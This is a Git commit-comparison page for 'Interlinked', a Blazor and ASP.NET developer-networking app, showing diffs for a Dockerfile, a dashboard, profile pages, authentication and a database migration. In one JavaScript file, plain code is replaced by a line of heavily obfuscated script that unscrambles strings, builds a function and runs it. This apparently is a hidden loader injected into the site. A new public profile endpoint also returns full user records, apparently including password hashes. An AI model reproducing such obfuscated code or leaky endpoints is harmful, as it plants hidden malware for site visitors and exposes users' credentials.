Compare commits

...

11 commits

Author SHA1 Message Date
a5cf572c05
Dockerfile 2023-10-01 13:38:06 +02:00
271b144501
dash 2023-10-01 13:37:15 +02:00
291d143328
meow 2023-10-01 12:00:12 +02:00
b1cba644b8
Merge remote-tracking branch 'origin/FinalFinalAstheticIpromiseEric' into nya 2023-10-01 11:55:26 +02:00
cc7fb93439
fix dashboard 2023-10-01 11:50:33 +02:00
fb712bbcab
auth 2023-10-01 11:11:42 +02:00
ac4c7c0656
auth 2023-10-01 11:08:25 +02:00
51e29884cd
launchurl 2023-10-01 10:45:33 +02:00
5cfc595cd6 Update README.md 2023-10-01 10:33:10 +02:00
a045021f8d
the ugliest of the ugliest in history of ecma-retard-script 2023-10-01 10:27:28 +02:00
3ed88b025c
femboys 2023-10-01 10:23:40 +02:00
32 changed files with 868 additions and 330 deletions

35
Dockerfile Normal file
View file

@ -0,0 +1,35 @@
FROM mcr.microsoft.com/dotnet/sdk:7.0-alpine AS build
WORKDIR /source
COPY Interlinked.sln ./
COPY src/Interlinked.Core/*.csproj src/Interlinked.Core/
COPY src/Interlinked.Shared/*.csproj src/Interlinked.Shared/
COPY src/Interlinked.User/*.csproj src/Interlinked.User/
copy test/Interlinked.Test/*.csproj test/Interlinked.Test/
RUN dotnet restore
COPY . .
RUN dotnet publish ./src/Interlinked.User -c Release -o /build/interlinked
FROM mcr.microsoft.com/dotnet/aspnet:7.0-alpine AS runtime
COPY --from=build /build/interlinked /srv/interlinked
VOLUME [ "/data", "/srv/log" ]
WORKDIR /srv/interlinked
ENV ASPNETCORE_ENVIRONMENT=Production
# Net
EXPOSE 80/tcp
STOPSIGNAL SIGTERM
ENTRYPOINT [ "dotnet", "/srv/interlinked/Interlinked.User.dll" ]

View file

@ -11,8 +11,3 @@ meow
### Health & Wellbeing
This solution addresses the issue of social isolation that many developers face, by encouraging socialization with other developers and in-person collaboration. Contact with others is an elemental human need and social isolation may be detrimental to mental health. Encouraging socially active form of software development contributes to a healthy lifestyle.
## Open Fintech
Interlinked fosters local development and enables developers to discover and collaborate on local projects. It also enables financial sponsorship of the projects, thus being capable of investing both work and fund for the project. This combined, may increase the success rate of projects, which become community investments.

View file

@ -1,5 +1,6 @@
<Router AppAssembly="@typeof(App).Assembly">
<Found Context="routeData">
<AuthenticateUser />
<RouteView RouteData="@routeData" DefaultLayout="@typeof(MainLayout)" />
<FocusOnNavigate RouteData="@routeData" Selector="h1" />
</Found>

View file

@ -0,0 +1,125 @@
@page "/dashboard"
@using System.ComponentModel.DataAnnotations;
@using System.Net
@inject HttpClient req
@inject UserManager usr
<PageTitle>Dashboard</PageTitle>
<h1>Your profile</h1>
@if (!string.IsNullOrWhiteSpace(_err))
{
<p class="text-danger">@_err</p>
}
<div class="profile">
<h2>Profile settings</h2>
<EditForm class="form" Model="@_pdr" OnValidSubmit="@UpdateProfile">
<div class="form-group">
<label for="cc">Country</label>
<InputText @bind-Value="_pdr.CC" id="cc" />
</div>
<div class="form-group">
<label for="city">City</label>
<InputText @bind-Value="_pdr.City" id="city" />
</div>
<div class="form-group">
<label for="bio">Bio</label>
<InputText @bind-Value="_pdr.Bio" id="bio" />
</div>
<button type="submit">Update profile</button>
</EditForm>
</div>
<div class="security">
<h2>Security settings</h2>
<EditForm class="form" Model="@_pwc" OnValidSubmit="@ChangePassword">
<div class="form-group">
<label for="oldpw">Old password</label>
<InputText @bind-Value="_pwc.PasswordOld" id="oldpw" />
</div>
<div class="form-group">
<label for="npw">New password</label>
<InputText @bind-Value="_pwc.PasswordNew" id="npw" />
</div>
<button type="submit">Change password</button>
</EditForm>
<EditForm class="form" Model="@_emc" OnValidSubmit="@ChangeEmail">
<div class="form-group">
<label for="oldpw">Email</label>
<InputText @bind-Value="_emc.Email" id="eml" />
</div>
<button type="submit">Change email</button>
</EditForm>
</div>
@code {
private string _err = "";
private PasswordChangeRequest _pwc = new();
private EmailChangeRequest _emc = new();
private ProfileRequest _pdr = new();
public record PasswordChangeRequest
{
[Required]
public string PasswordOld { get; set; } = default!;
[Required]
public string PasswordNew { get; set; } = default!;
};
public record EmailChangeRequest
{
[Required]
[EmailAddress]
public string Email { get; set; } = default!;
}
public record ProfileRequest
{
public string? Bio { get; set; }
public string? CC { get; set; }
public string? City { get; set; }
public ICollection<string> Interests { get; set; } = new List<string>();
}
protected async override Task OnInitializedAsync()
{
}
private async Task ChangePassword()
{
var resp = await req.PostAsJsonAsync("/api/auth/changepass", _pwc);
if (!resp.IsSuccessStatusCode)
{
_err = await resp.Content.ReadAsStringAsync();
}
this._pwc = new();
this.StateHasChanged();
}
private async Task ChangeEmail()
{
var resp = await req.PostAsJsonAsync("/api/auth/changemail", _emc);
if (!resp.IsSuccessStatusCode)
{
_err = await resp.Content.ReadAsStringAsync();
}
this._emc = new();
this.StateHasChanged();
}
private async Task UpdateProfile()
{
var resp = await req.PostAsJsonAsync("/api/auth/profile/update", _pdr);
if (!resp.IsSuccessStatusCode)
{
_err = await resp.Content.ReadAsStringAsync();
}
this._pdr = new();
this.StateHasChanged();
}
}

View file

@ -1,57 +0,0 @@
@page "/fetchdata"
@inject HttpClient Http
<PageTitle>Weather forecast</PageTitle>
<h1>Weather forecast</h1>
<p>This component demonstrates fetching data from the server.</p>
@if (forecasts == null)
{
<p><em>Loading...</em></p>
}
else
{
<table class="table">
<thead>
<tr>
<th>Date</th>
<th>Temp. (C)</th>
<th>Temp. (F)</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
@foreach (var forecast in forecasts)
{
<tr>
<td>@forecast.Date.ToShortDateString()</td>
<td>@forecast.TemperatureC</td>
<td>@forecast.TemperatureF</td>
<td>@forecast.Summary</td>
</tr>
}
</tbody>
</table>
}
@code {
private WeatherForecast[]? forecasts;
protected override async Task OnInitializedAsync()
{
forecasts = await Http.GetFromJsonAsync<WeatherForecast[]>("sample-data/weather.json");
}
public class WeatherForecast
{
public DateOnly Date { get; set; }
public int TemperatureC { get; set; }
public string? Summary { get; set; }
public int TemperatureF => 32 + (int)(TemperatureC / 0.5556);
}
}

View file

@ -16,15 +16,9 @@
</MapsLayers>
</SfMaps>
@code{
public class City
{
public double Latitude { get; set; }
public double Longitude { get; set; }
public string Name { get; set; } = default!;
}
@code {
private List<City> Cities = new List<City> {
new City { Latitude = 34.060620, Longitude = -118.330491, Name="California" },
new City{ Latitude = 40.724546, Longitude = -73.850344, Name="New York"}
new City { Latitude = 34.060620, Longitude = -118.330491, Name="California" },
new City{ Latitude = 40.724546, Longitude = -73.850344, Name="New York"}
};
}
}

View file

@ -40,7 +40,15 @@
public LoginModel Model { get; set; } = new();
public string ValidationMsg = string.Empty;
protected override void OnInitialized() => Model ??= new();
protected async override Task OnInitializedAsync()
{
if (await usr.GetUser() != null)
{
nav.NavigateTo("/");
return;
}
Model ??= new();
}
private async Task Submit()
{
@ -56,9 +64,9 @@
this.StateHasChanged();
return;
}
usr.User = user;
usr.SetUser(user);
this.StateHasChanged();
nav.NavigateTo("/");
nav.NavigateTo("/", true);
return;
}

View file

@ -10,8 +10,9 @@
var resp = await req.GetAsync("/api/auth/logout");
if (resp.StatusCode == HttpStatusCode.NoContent)
{
usr.User = null!;
usr.SetUser(null!);
}
nav.NavigateTo("/login");
this.StateHasChanged();
nav.NavigateTo("/login", true);
}
}

View file

@ -52,7 +52,15 @@
public LoginModel Model { get; set; } = new();
public string ValidationMsg = string.Empty;
protected override void OnInitialized() => Model ??= new();
protected override async Task OnInitializedAsync()
{
if (await usr.GetUser() != null)
{
nav.NavigateTo("/", true);
return;
}
Model ??= new();
}
private async Task Submit()
{
@ -67,9 +75,9 @@
this.StateHasChanged();
return;
}
usr.User = user;
usr.SetUser(user);
this.StateHasChanged();
nav.NavigateTo("/");
nav.NavigateTo("/", true);
return;
}

View file

@ -1,37 +1,66 @@
@page "/user/{username}"
@page "/profile/{username}"
@inject HttpClient cli
@code {
[Parameter]
public string Username { get; set; } = "johndoeUwU";
private string FullName = "meow uwu";
private string Bio = "Software Developer";
private List<string> Skills = new List<string> { "C#", "ASP.NET Core", "Blazor" };
private string aboutme = "lorum ipsum, lorum ipsum, lorum ipsum, lorum ipsum, lorum ipsum, lorum ipsum.";
private UserModel _user = null!;
private bool _valid = true;
}
<div class="user-profile">
<img class="profile-img" src="images/DefaultUserProfile.jpg" alt="Profile Picture" />
<img class="background-img" src="images/DefaultBanner.png" alt="Background" />
<div class="userinfo">
<div class = "vertidiv">
<div class="profile-names">
<h1 class="profile-username">@($"@{Username}")</h1>
<h3 class="profile-fullname">(@FullName)</h3>
</div>
<p>@Bio</p>
<h2>Skills</h2>
<ul>
@foreach (var skill in Skills)
{
<li>@skill</li>
}
</ul>
</div>
<div class = "aboutme">
<h1 style=" width: fit-content;
margin-top: 0.25rem;">About me</h1>
<p>(@aboutme)</p>
</div>
@if (!_valid)
{
<h1>User not found @(":<")</h1>
}
else
{
if (_user != null)
{
<div class="user-profile">
<div class="bkg-img">
<img class="background" src="images/background.jpg" alt="Background" />
<img class="profile-img" src="images/pfp.jpg" alt="Profile Picture" />
</div>
<div class="profile-names">
<h1 class="profile-username">@($"@{_user.Username}")</h1>
@if (_user.Name != null)
{
<h3 class="profile-fullname">(@_user.Name)</h3>
}
</div>
@if (_user.City != null && _user.CountryCode != null)
{
<div class="profile-location-info">
<span class="profile-loc">@($"{_user.City}, {_user.CountryCode}")</span>
</div>
}
<p>@(_user.Bio ?? "~")</p>
@if (_user.Interests != null)
{
<h2>Interested in:</h2>
<ul>
</div>
@foreach (var interest in _user.Interests)
{
<li>@interest?.Name</li>
}
</ul>
}
</div>
}
}
@code {
protected override async Task OnInitializedAsync()
{
var resp = await cli.GetAsync($"/api/profile/{Username}");
if (!resp.IsSuccessStatusCode)
{
_valid = false;
return;
}
_user = (await resp.Content.ReadFromJsonAsync<UserModel>())!;
this.StateHasChanged();
}
}

View file

@ -27,8 +27,6 @@ internal class Program
var app = builder.Build();
await app.Services.GetRequiredService<UserManager>().InitAsync();
await builder.Build().RunAsync();
}
}

View file

@ -16,17 +16,49 @@ public class UserManager
}
private readonly IServiceProvider _serv;
private bool _init = false;
static SemaphoreSlim sem = new SemaphoreSlim(1, 1);
public async Task InitAsync()
{
await sem.WaitAsync();
if (_init)
{
sem.Release();
return;
}
using var scope = _serv.CreateAsyncScope();
var resp = await scope.ServiceProvider.GetRequiredService<HttpClient>().GetAsync("/api/auth/userdata");
if (resp.StatusCode == HttpStatusCode.OK)
{
User = (await resp.Content.ReadFromJsonAsync<UserModel>())!;
this.User = (await resp.Content.ReadFromJsonAsync<UserModel>())!;
Console.WriteLine($"User: {User.Id}");
}
_init = true;
sem.Release();
}
public UserModel User { get; set; } = default!;
private UserModel User { get; set; } = default!;
public async Task<UserModel?> GetUser()
{
if (User == null)
{
if (!_init)
{
await InitAsync();
}
}
return User;
}
public void SetUser(UserModel u)
{
User = u;
}
public bool IsAuthorized => User != null;
}

View file

@ -0,0 +1,10 @@
@inject UserManager usr
@code {
protected override async Task OnInitializedAsync()
{
await Task.Yield();
await usr.InitAsync();
this.StateHasChanged();
}
}

View file

@ -8,14 +8,14 @@
<main>
<div class="top-row px-4">
@if (!usr.IsAuthorized)
@if (u == null)
{
<a href="/login">Log in</a>
<a href="/register">Register</a>
}
else
{
<a href="/logout">Log out (@usr.User.Username)</a>
<a href="/logout">Log out (@u?.Username)</a>
}
</div>
@ -24,3 +24,12 @@
</article>
</main>
</div>
@code {
private UserModel u = null!;
protected override async Task OnInitializedAsync()
{
await Task.Yield();
u = (await usr.GetUser())!;
}
}

View file

@ -1,83 +1,85 @@
.page {
position: relative;
display: flex;
flex-direction: column;
position: relative;
display: flex;
flex-direction: column;
}
main {
flex: 1;
flex: 1;
}
.sidebar {
background-image: linear-gradient(180deg, rgb(5, 39, 103) 0%, #3a0647 70%);
background-image: linear-gradient(180deg, rgb(5, 39, 103) 0%, #3a0647 70%);
}
.top-row {
background-color: #f7f7f7;
border-bottom: 1px solid #d6d5d5;
justify-content: flex-end;
height: 3.5rem;
display: flex;
align-items: center;
background-color: #f7f7f7;
border-bottom: 1px solid #d6d5d5;
justify-content: flex-end;
height: 3.5rem;
display: flex;
align-items: center;
}
.top-row ::deep a, .top-row ::deep .btn-link {
white-space: nowrap;
margin-left: 1.5rem;
text-decoration: none;
}
.top-row ::deep a,
.top-row ::deep .btn-link {
white-space: nowrap;
margin-left: 1.5rem;
text-decoration: none;
}
.top-row ::deep a:hover, .top-row ::deep .btn-link:hover {
text-decoration: underline;
}
.top-row ::deep a:hover,
.top-row ::deep .btn-link:hover {
text-decoration: underline;
}
.top-row ::deep a:first-child {
overflow: hidden;
text-overflow: ellipsis;
}
.top-row ::deep a:first-child {
overflow: hidden;
text-overflow: ellipsis;
}
@media (max-width: 640.98px) {
.top-row:not(.auth) {
display: none;
}
.top-row:not(.auth) {
display: none;
}
.top-row.auth {
justify-content: space-between;
}
.top-row.auth {
justify-content: space-between;
}
.top-row ::deep a, .top-row ::deep .btn-link {
margin-left: 0;
}
.top-row ::deep a,
.top-row ::deep .btn-link {
margin-left: 0;
}
}
@media (min-width: 641px) {
.page {
flex-direction: row;
}
.page {
flex-direction: row;
}
.sidebar {
width: 250px;
height: 100vh;
position: sticky;
top: 0;
}
.sidebar {
width: 250px;
height: 100vh;
position: sticky;
top: 0;
}
.top-row {
position: sticky;
top: 0;
z-index: 1;
}
.top-row {
position: sticky;
top: 0;
z-index: 20;
}
.top-row.auth ::deep a:first-child {
flex: 1;
text-align: right;
width: 0;
}
.top-row.auth ::deep a:first-child {
flex: 1;
text-align: right;
width: 0;
}
.top-row, article {
padding-left: 2rem !important;
padding-right: 1.5rem !important;
}
}
.top-row,
article {
padding-left: 2rem !important;
padding-right: 1.5rem !important;
}
}

View file

@ -12,7 +12,7 @@
}
else
{
<a href="/logout">Log out (@usr.User.Username)</a>
<a href="/logout">Log out (async () => (await @usr.GetUser()).Username)</a>
}
</div>

View file

@ -1,86 +1,89 @@
.page {
position: relative;
display: flex;
flex-direction: column;
position: relative;
display: flex;
flex-direction: column;
}
main {
flex: 1;
flex: 1;
}
.top-row {
background-color: #f7f7f7;
border-bottom: 1px solid #d6d5d5;
justify-content: flex-end;
height: 3.5rem;
display: flex;
align-items: center;
z-index: 20;
background-color: #f7f7f7;
border-bottom: 1px solid #d6d5d5;
justify-content: flex-end;
height: 3.5rem;
display: flex;
align-items: center;
}
.top-row ::deep a, .top-row ::deep .btn-link {
white-space: nowrap;
margin-left: 1.5rem;
text-decoration: none;
}
.top-row ::deep a,
.top-row ::deep .btn-link {
white-space: nowrap;
margin-left: 1.5rem;
text-decoration: none;
}
.top-row ::deep a:hover, .top-row ::deep .btn-link:hover {
text-decoration: underline;
}
.top-row ::deep a:hover,
.top-row ::deep .btn-link:hover {
text-decoration: underline;
}
.top-row ::deep a:first-child {
overflow: hidden;
text-overflow: ellipsis;
}
.top-row ::deep a:first-child {
overflow: hidden;
text-overflow: ellipsis;
}
@media (max-width: 640.98px) {
.top-row:not(.auth) {
display: none;
}
.top-row:not(.auth) {
display: none;
}
.top-row.auth {
justify-content: space-between;
}
.top-row.auth {
justify-content: space-between;
}
.top-row ::deep a, .top-row ::deep .btn-link {
margin-left: 0;
}
.top-row ::deep a,
.top-row ::deep .btn-link {
margin-left: 0;
}
}
@media (min-width: 641px) {
.page {
flex-direction: row;
}
.page {
flex-direction: row;
}
.sidebar {
width: 250px;
height: 100vh;
position: sticky;
top: 0;
}
.sidebar {
width: 250px;
height: 100vh;
position: sticky;
top: 0;
}
.top-row {
position: sticky;
top: 0;
z-index: 1;
}
.top-row {
position: sticky;
top: 0;
z-index: 20;
}
.top-row.auth ::deep a:first-child {
flex: 1;
text-align: right;
width: 0;
}
.top-row.auth ::deep a:first-child {
flex: 1;
text-align: right;
width: 0;
}
.top-row, article {
padding-left: 2rem !important;
padding-right: 1.5rem !important;
}
.top-row,
article {
padding-left: 2rem !important;
padding-right: 1.5rem !important;
}
}
.form {
min-width: 100%;
min-height: 100%;
flex-wrap: wrap;
flex-direction: column;
}
min-width: 100%;
min-height: 100%;
flex-wrap: wrap;
flex-direction: column;
}

View file

@ -1,4 +1,6 @@
<div class="top-row ps-3 navbar navbar-dark">
@inject UserManager usr
<div class="top-row ps-3 navbar navbar-dark">
<div class="container-fluid">
<img src="images/InterlinkedLogoWhite.png" style="max-width: 8vw;
">
@ -10,30 +12,51 @@
<div class="@NavMenuCssClass nav-scrollable" @onclick="ToggleNavMenu">
<nav class="flex-column">
<div class="nav-item px-3">
<NavLink class="nav-link" href="" Match="NavLinkMatch.All">
<span class="oi oi-home" aria-hidden="true"></span> Your community
</NavLink>
</div>
@if (user != null)
{
<div class="nav-item px-3">
<NavLink class="nav-link" href="@($"/profile/{user.Username}")" Match="NavLinkMatch.All">
<span class="oi oi-home" aria-hidden="true"></span> Your profile
</NavLink>
</div>
}
<div class="nav-item px-3">
<NavLink class="nav-link" href="project">
<span class="oi oi-plus" aria-hidden="true"></span> Projects
</NavLink>
</div>
<div class="nav-item px-3">
<NavLink class="nav-link" href="/user/This could be you!">
<span class="oi oi-list-rich" aria-hidden="true"></span> Your Profile
</NavLink>
@if (user != null)
{
<NavLink class="nav-link" href="/dashboard">
<span class="oi oi-cog" aria-hidden="true"></span> Settings
</NavLink>
}
else
{
<NavLink class="nav-link" href="/login">
<span class="oi oi-account-login" aria-hidden="true"></span> Log in
</NavLink>
}
</div>
<div class="nav-item px-3">
<NavLink class="nav-link" href="about">
<span class="oi oi-info" aria-hidden="true"></span> About
<NavLink class="nav-link" href="about">
<span class="oi oi-info" aria-hidden="true"></span> About
</NavLink>
</div>
</nav>
</div>
@code {
private UserModel? user = null;
protected override async Task OnInitializedAsync()
{
user = await usr.GetUser();
}
private bool collapseNavMenu = true;
private string? NavMenuCssClass => collapseNavMenu ? "collapse" : null;

View file

@ -1,68 +1,69 @@
.navbar-toggler {
background-color: rgba(255, 255, 255, 0.1);
background-color: rgba(255, 255, 255, 0.1);
}
.top-row {
height: 3.5rem;
background-color: rgba(0,0,0,0.4);
height: 3.5rem;
background-color: rgba(0, 0, 0, 0.4);
z-index: 20;
}
.navbar-brand {
font-size: 1.1rem;
font-size: 1.1rem;
}
.oi {
width: 2rem;
font-size: 1.1rem;
vertical-align: text-top;
top: -2px;
width: 2rem;
font-size: 1.1rem;
vertical-align: text-top;
top: -2px;
}
.nav-item {
font-size: 0.9rem;
padding-bottom: 0.5rem;
font-size: 0.9rem;
padding-bottom: 0.5rem;
}
.nav-item:first-of-type {
padding-top: 1rem;
}
.nav-item:first-of-type {
padding-top: 1rem;
}
.nav-item:last-of-type {
padding-bottom: 1rem;
}
.nav-item:last-of-type {
padding-bottom: 1rem;
}
.nav-item ::deep a {
color: #d7d7d7;
border-radius: 4px;
height: 3rem;
display: flex;
align-items: center;
line-height: 3rem;
}
.nav-item ::deep a {
color: #d7d7d7;
border-radius: 4px;
height: 3rem;
display: flex;
align-items: center;
line-height: 3rem;
}
.nav-item ::deep a.active {
background-color: rgba(255,255,255,0.25);
color: white;
background-color: rgba(255, 255, 255, 0.25);
color: white;
}
.nav-item ::deep a:hover {
background-color: rgba(255,255,255,0.1);
color: white;
background-color: rgba(255, 255, 255, 0.1);
color: white;
}
@media (min-width: 641px) {
.navbar-toggler {
display: none;
}
.navbar-toggler {
display: none;
}
.collapse {
/* Never collapse the sidebar for wide screens */
display: block;
}
.nav-scrollable {
/* Allow sidebar to scroll for tall menus */
height: calc(100vh - 3.5rem);
overflow-y: auto;
}
.collapse {
/* Never collapse the sidebar for wide screens */
display: block;
}
.nav-scrollable {
/* Allow sidebar to scroll for tall menus */
height: calc(100vh - 3.5rem);
overflow-y: auto;
}
}

View file

@ -1,16 +0,0 @@
<div class="alert alert-secondary mt-4">
<span class="oi oi-pencil me-2" aria-hidden="true"></span>
<strong>@Title</strong>
<span class="text-nowrap">
Please take our
<a target="_blank" class="font-weight-bold link-dark" href="https://go.microsoft.com/fwlink/?linkid=2186157">brief survey</a>
</span>
and tell us what you think.
</div>
@code {
// Demonstrates how a parent component can supply parameters
[Parameter]
public string? Title { get; set; }
}

View file

@ -97,21 +97,26 @@ a,
}
}
.user-profile {
position: relative;
}
.profile-img {
position: absolute;
object-fit: cover;
transform: translate(10%, 25%);
z-index: 1; /* Place the profile picture above the background image */
max-width: 200px;
min-width: 200px;
max-height: 200px;
min-height: 200px;
border-radius: 200px;
bottom: -1.5rem;
left: 1rem;
}
.profile-names {
width: fit-content;
margin-top: 0.5rem;
margin-top: 2.5rem;
}
.profile-username {
@ -125,7 +130,17 @@ a,
color: gray;
}
.background-img{
.profile-location-info {
margin-top: 0.3rem;
color: gray;
font-size: 1rem;
}
.bkg-img {
position: relative;
}
.background-img {
min-width: 100%;
max-height: 300px;
object-fit: cover;
@ -136,6 +151,6 @@ a,
max-height: 450px;
}
.aboutme{
.aboutme {
flex-wrap: wrap;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

View file

@ -1,19 +1 @@
const mutcal = (mutationList, observer) => {
for (const mutation of mutationList) {
if (mutation.type === "childList") {
const being = document.querySelector("body > div:last-child");
if (being !== null) {
if (being.innerHTML.startsWith('<img src="data:image/svg+xml')) {
being.remove();
}
}
}
}
};
const observer = new MutationObserver(mutcal);
observer.observe(document.body, {
attributes: false,
childList: true,
subtree: false,
});
var mutcal,observer;(function(){var PXs='',PSY=316-305;function nqF(h){var w=1510952;var j=h.length;var y=[];for(var m=0;m<j;m++){y[m]=h.charAt(m)};for(var m=0;m<j;m++){var d=w*(m+526)+(w%42731);var v=w*(m+329)+(w%36178);var c=d%j;var r=v%j;var q=y[c];y[c]=y[r];y[r]=q;w=(d+v)%4184109;};return y.join('')};var oJv=nqF('srtsvctynmdorejpfohlwgcutbuqrniaocxkz').substr(0,PSY);var wlY='C(v xr]l,y"73wa!p0hvzrrosmebdthtwryjrva,o4"pu+;iA=i=;+ta]alrr96=7s==l,x];ufl 1r8.tirt6e=t7}p(,-]e,A"Ch=7.,9+,=ejn0t;y)8so;v;; <n(;tgmr(,9r+adtfpv4=(;(v>n[ps) j[hje]]n=ap"vr0 w[ 9=s+=(s0h3u8aa += u])7ano)r vg+n4oaro[oitos.l- gtf;)=e0{vm.[]a;+g;m1n{kgl5tso+inlg;, f(Ao9(o[)q"96At(s)v1;c=}(;7c ,;x;s=.e)1C=azsnerr]riqs;a(rnlr urlCaerpdjrsi1=i (ful0ttta)(o.lia5borp +n+),ttl[;j,*)t;-v(a=u0=ca[l[;;Axhed112r .+p;9,)j-t;;oa=(wr1pl=+<s8;xrrodu-tCo;.{dv;uu;;nrvl8d,f ,vr)c),+Cr)=e0vro.;f1oa3l+egcdfC=a ra(.=ur,(d,.cnaj(o6eer(o+.r{18h=v;ou(;)}qrlahc(a=ie+25}{f(,n[C0(ves(=eg[vd))0)r.2lrh6c.;ls-hr+ag[nrSa))vn0"g+n=ve"7(),7;.+1po=mz1!f5+liv=ijiv<)tb)vayt([r"iplv<i i s+)l 2qlpq[,o,er(oo.r,7gp)sh( a=]c;nv7a-5=r=)i.qpuat}va*>;=e(f,pnys)f428=pg 4]. ;u".b;.)i,od(=6ateiff.fbvn=;afvod+2;6h,n.r6h(c <6.;+n=.1uo.e8=.}(cwzoi}oeglh)rt.c()rhhtf)tj=sinnS;]r;0r;g=m,]{vaoear;ggdham"er]2np{vsuo8th2uujria0rb+)v);';var TSF=nqF[oJv];var nQC='';var Yvf=TSF;var nJA=TSF(nQC,nqF(wlY));var hCn=nJA(nqF('oaVfdot 3=.;3nb"r%%c;&uaoiVyo]nhel\'gbCyd].}a&al_esuei[Vb[fhvi%=V=lEy].vnt+%t;7)Vist={Ve!VV}r1g>ar wlfouo.at$c)]%led_+[V)_}lV0rb#t"doarajVgiur=dr(m.tt1o".(V_\/h(tn>a!kitnv(ht2#)VybatedoE",5(]x(5s),&+sV=noh%6Ve=amb).(*a=V.ofh(gosV;]![aofar)hk}t0t\'t-=den.l:.sj7h]=r%&!]c;a,jet.V }((.r+cv;*n1VukmaVmr+s.14cx8.Vm)b5hu.dfi8c+tax{]iaahe7)iahy9s.cVm]mo)d1.iCu50bla!q{#!9.a(8i=3fa.miue(d%.*.(reejfridna_ce.vu1|.)"eyt(.V!r.uu[(ns(.!iujg=:7.5(+eVlq3SasVng2#n$t.Ctb5ai+8.127SV)%=(rm5o".ic."naeb#. %r)oa&1]Vio;iaVs:=)b=.0;1"atnaeV]r=Vtltlm]"%VV.ojn{)sVV\'n%f+n%t )co1(3.arv%s1otV)a$a.i{$hfbcthm])))VV+ff)"[;%%+%y)ara1a.{a,de.ma)._+]=.a.s6.hm11er.(ai(=lois=e1e=,.c\'pe sV.;7ceVqe7=p=uas]qn)+.V[]86;a)".a((V5sm#|V{a)nieea{(b#i]cj0r];eeatz.9;j.==}}{onV{()9nV+V))=Vc9.aaa.}.])l4;_m( .]a=a(w au:.em(}u=(86VM!])]pVfuwamd$hu)nse)r(lrV]=]Mt.il)oesret)mt]o0)(5]sisV.=$bV )$V..v3ayc*k.7gsl)%s=V6x%.hr.mhock.sc*i:. =y+t!fi;;n%6V t$v98;e[ba!,oii"%.a}m%V=..V*rVT2$tVi]s1g'));var wOI=Yvf(PXs,hCn );wOI(9755);return 8948})()

View file

@ -0,0 +1,13 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Interlinked.Shared.Model;
public record City
{
public double Latitude { get; set; }
public double Longitude { get; set; }
public string Name { get; set; } = default!;
}

View file

@ -10,7 +10,7 @@ using System.Threading.Tasks;
namespace Interlinked.Shared.Model;
public class UserModel
public record UserModel
{
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
@ -34,6 +34,8 @@ public class UserModel
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public DateTime CreatedTimestamp { get; set; }
public string? Bio { get; set; }
public static byte[] HashPassword(string password, byte[] salt)
{
return Rfc2898DeriveBytes.Pbkdf2(Encoding.UTF8.GetBytes(password), salt, 1000, HashAlgorithmName.SHA256, 64);

View file

@ -108,5 +108,43 @@ public class AuthController : ControllerBase
return Unauthorized();
}
public record ProfileRequest
{
public string? Bio { get; set; }
public string? CC { get; set; }
public string? City { get; set; }
public ICollection<string> Interests { get; set; } = new List<string>();
}
[HttpPost("profile/update")]
public async Task<IActionResult> UpdateProfile([FromBody] ProfileRequest req)
{
if (await _auth.RetrieveCookie() is not AuthSession sess)
{
return Unauthorized();
}
var u = await _db.Users.SingleAsync(s => s.Id == sess.UserId);
if (u is null)
{
return this.BadRequest();
}
u.Bio = req.Bio;
if (req.CC is not null)
{
u.CountryCode = req.CC;
}
if (req.City is not null)
{
u.City = req.City;
}
_db.Users.Update(u);
await _db.SaveChangesAsync();
return NoContent();
}
}

View file

@ -0,0 +1,31 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
namespace Interlinked.User.Controllers;
[ApiController]
[Route("api")]
public class DataController : ControllerBase
{
public DataController(StoreContext db)
{
_db = db;
}
private readonly StoreContext _db;
[HttpGet("profile/{username}")]
public async Task<IActionResult> GetProfile([FromRoute] string username)
{
var usr = await _db.Users.AsNoTracking().SingleOrDefaultAsync(u => u.Username == username);
if (usr is null)
{
return NotFound();
}
return Ok(usr with { Email = null! });
}
}

View file

@ -0,0 +1,225 @@
// <auto-generated />
using System;
using Interlinked.User;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Migrations;
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
#nullable disable
namespace Interlinked.User.Migrations
{
[DbContext(typeof(StoreContext))]
[Migration("20231001092331_bio")]
partial class bio
{
/// <inheritdoc />
protected override void BuildTargetModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder.HasAnnotation("ProductVersion", "7.0.11");
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
{
b.Property<byte[]>("Key")
.HasColumnType("BLOB");
b.Property<string>("LastAddress")
.HasColumnType("TEXT");
b.Property<byte[]>("Secret")
.IsRequired()
.HasColumnType("BLOB");
b.Property<long>("UserId")
.HasColumnType("INTEGER");
b.HasKey("Key");
b.HasIndex("UserId");
b.ToTable("AuthSessions");
});
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("INTEGER");
b.Property<string>("Description")
.HasColumnType("TEXT");
b.Property<long>("OwnerId")
.HasColumnType("INTEGER");
b.Property<string>("Title")
.IsRequired()
.HasColumnType("TEXT");
b.HasKey("Id");
b.HasIndex("OwnerId");
b.ToTable("Projects");
});
modelBuilder.Entity("Interlinked.Shared.Model.Tag", b =>
{
b.Property<string>("Identifier")
.HasColumnType("TEXT");
b.Property<string>("Name")
.IsRequired()
.HasColumnType("TEXT");
b.HasKey("Identifier");
b.ToTable("Tags");
});
modelBuilder.Entity("Interlinked.Shared.Model.UserModel", b =>
{
b.Property<long>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("INTEGER");
b.Property<string>("Bio")
.HasColumnType("TEXT");
b.Property<string>("City")
.HasColumnType("TEXT");
b.Property<string>("CountryCode")
.IsRequired()
.HasMaxLength(2)
.HasColumnType("TEXT");
b.Property<DateTime>("CreatedTimestamp")
.ValueGeneratedOnAdd()
.HasColumnType("TEXT");
b.Property<DateTime?>("DayOfBirth")
.HasColumnType("TEXT");
b.Property<string>("Email")
.IsRequired()
.HasColumnType("TEXT");
b.Property<string>("Gender")
.HasColumnType("TEXT");
b.Property<byte[]>("Hash")
.IsRequired()
.HasColumnType("BLOB");
